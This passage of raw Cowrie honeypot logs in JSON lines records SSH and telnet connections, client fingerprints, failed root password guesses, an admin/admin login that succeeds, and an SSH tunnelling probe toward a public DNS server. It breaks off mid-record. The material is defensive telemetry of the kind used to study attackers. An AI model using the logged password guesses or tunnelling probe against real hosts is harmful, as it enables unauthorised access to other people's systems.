{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:22.722239Z","src_ip":"193.228.128.84","session":"bab1c09fcf27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:22.825985Z","src_ip":"193.228.128.84","session":"bab1c09fcf27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"english","message":"login attempt [root/english] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:23.781567Z","src_ip":"193.228.128.84","session":"bab1c09fcf27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":38982,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2fbbba03d4e","protocol":"ssh","message":"New connection: 80.66.85.226:38982 (159.203.135.109:22) [session: d2fbbba03d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:23.977311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:23.982527Z","src_ip":"80.66.85.226","session":"d2fbbba03d4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:24.102980Z","src_ip":"80.66.85.226","session":"d2fbbba03d4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567u","message":"login attempt [root/1234567u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:24.378699Z","src_ip":"80.66.85.226","session":"d2fbbba03d4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:24.888338Z","src_ip":"193.228.128.84","session":"bab1c09fcf27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:25.475453Z","src_ip":"80.66.85.226","session":"d2fbbba03d4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.008705615997314,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:26.268642Z","src_ip":"192.119.13.58","session":"6e32b949f039","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.75720691680908,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:26.555538Z","src_ip":"192.119.13.58","session":"bbd73e9174df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50092,"dst_ip":"10.17.0.5","dst_port":23,"session":"351dc18fc2ad","protocol":"telnet","message":"New connection: 192.119.13.58:50092 (10.17.0.5:23) [session: 351dc18fc2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:32.103943Z"}
{"eventid":"cowrie.session.closed","duration":38.519349575042725,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:32.556686Z","src_ip":"192.119.13.58","session":"e75b8bdf8f52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51794,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2a3c0635097","protocol":"telnet","message":"New connection: 192.119.13.58:51794 (10.17.0.5:23) [session: b2a3c0635097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:32.592256Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.11","src_port":35138,"dst_ip":"159.203.135.109","dst_port":22,"session":"afa39febce07","protocol":"ssh","message":"New connection: 103.203.57.11:35138 (159.203.135.109:22) [session: afa39febce07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:32.957204Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:32.969172Z","src_ip":"103.203.57.11","session":"afa39febce07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60204,"dst_ip":"10.17.0.5","dst_port":23,"session":"42c60e7597f1","protocol":"telnet","message":"New connection: 192.119.13.58:60204 (10.17.0.5:23) [session: 42c60e7597f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:34.706285Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60468,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cb5a30eb88e","protocol":"telnet","message":"New connection: 192.119.13.58:60468 (10.17.0.5:23) [session: 4cb5a30eb88e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:34.778843Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":59240,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bd73f37d39e","protocol":"ssh","message":"New connection: 103.77.242.62:59240 (10.17.0.5:22) [session: 9bd73f37d39e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:38.983332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:38.988069Z","src_ip":"103.77.242.62","session":"9bd73f37d39e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:39.225240Z","src_ip":"103.77.242.62","session":"9bd73f37d39e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.867175817489624,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:39.532169Z","src_ip":"192.119.13.58","session":"a49283e8af9e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"19731973","message":"login attempt [root/19731973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:39.937455Z","src_ip":"103.77.242.62","session":"9bd73f37d39e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.24960994720459,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:40.565479Z","src_ip":"192.119.13.58","session":"b165d8cc7995","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":38176,"dst_ip":"10.17.0.5","dst_port":22,"session":"21637c9392f1","protocol":"ssh","message":"New connection: 49.51.73.108:38176 (10.17.0.5:22) [session: 21637c9392f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:40.943487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:40.948317Z","src_ip":"49.51.73.108","session":"21637c9392f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:41.016738Z","src_ip":"49.51.73.108","session":"21637c9392f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:41.176481Z","src_ip":"103.77.242.62","session":"9bd73f37d39e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwert123","message":"login attempt [root/qwert123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:41.325317Z","src_ip":"49.51.73.108","session":"21637c9392f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:42.398191Z","src_ip":"49.51.73.108","session":"21637c9392f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.21552324295044,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:42.630530Z","src_ip":"192.119.13.58","session":"59de0d6c4302","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":56626,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d7704ead7e8","protocol":"ssh","message":"New connection: 87.251.64.176:56626 (10.17.0.5:22) [session: 7d7704ead7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:44.002344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:44.008242Z","src_ip":"87.251.64.176","session":"7d7704ead7e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:44.105237Z","src_ip":"87.251.64.176","session":"7d7704ead7e8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:44.398275Z","src_ip":"87.251.64.176","session":"7d7704ead7e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:44.505495Z","session":"7d7704ead7e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:44.603669Z","src_ip":"87.251.64.176","session":"7d7704ead7e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:44.704226Z","src_ip":"87.251.64.176","session":"7d7704ead7e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.39086413383484,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:46.538876Z","src_ip":"192.119.13.58","session":"e62a7a19e11d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60506,"dst_ip":"10.17.0.5","dst_port":23,"session":"067d9b825fe1","protocol":"telnet","message":"New connection: 192.119.13.58:60506 (10.17.0.5:23) [session: 067d9b825fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:49.180450Z"}
{"eventid":"cowrie.session.closed","duration":30.245100259780884,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:51.057937Z","src_ip":"192.119.13.58","session":"18ed8a81a76a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60520,"dst_ip":"10.17.0.5","dst_port":23,"session":"061fe22b9c0c","protocol":"telnet","message":"New connection: 192.119.13.58:60520 (10.17.0.5:23) [session: 061fe22b9c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:55.001006Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56406,"dst_ip":"10.17.0.5","dst_port":23,"session":"05cddbbafb57","protocol":"telnet","message":"New connection: 192.119.13.58:56406 (10.17.0.5:23) [session: 05cddbbafb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:01.063804Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57896,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6b44a86c5ce","protocol":"telnet","message":"New connection: 192.119.13.58:57896 (10.17.0.5:23) [session: d6b44a86c5ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:01.585897Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54118,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e027910b8db","protocol":"telnet","message":"New connection: 192.119.13.58:54118 (10.17.0.5:23) [session: 7e027910b8db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:03.507143Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57000,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce403556958f","protocol":"telnet","message":"New connection: 192.119.13.58:57000 (10.17.0.5:23) [session: ce403556958f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:07.735810Z"}
{"eventid":"cowrie.session.closed","duration":36.3438355922699,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:08.935957Z","src_ip":"192.119.13.58","session":"b2a3c0635097","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.91453146934509,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:15.693202Z","src_ip":"192.119.13.58","session":"4cb5a30eb88e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.01817345619202,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:16.121997Z","src_ip":"192.119.13.58","session":"351dc18fc2ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42276,"dst_ip":"10.17.0.5","dst_port":23,"session":"c308c10c9114","protocol":"telnet","message":"New connection: 192.119.13.58:42276 (10.17.0.5:23) [session: c308c10c9114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:19.854109Z"}
{"eventid":"cowrie.session.closed","duration":45.760380029678345,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:20.466538Z","src_ip":"192.119.13.58","session":"42c60e7597f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":54348,"dst_ip":"10.17.0.5","dst_port":22,"session":"b508e7bc5bcf","protocol":"ssh","message":"New connection: 193.39.208.26:54348 (10.17.0.5:22) [session: b508e7bc5bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:22.443542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:26:22.448110Z","src_ip":"193.39.208.26","session":"b508e7bc5bcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","a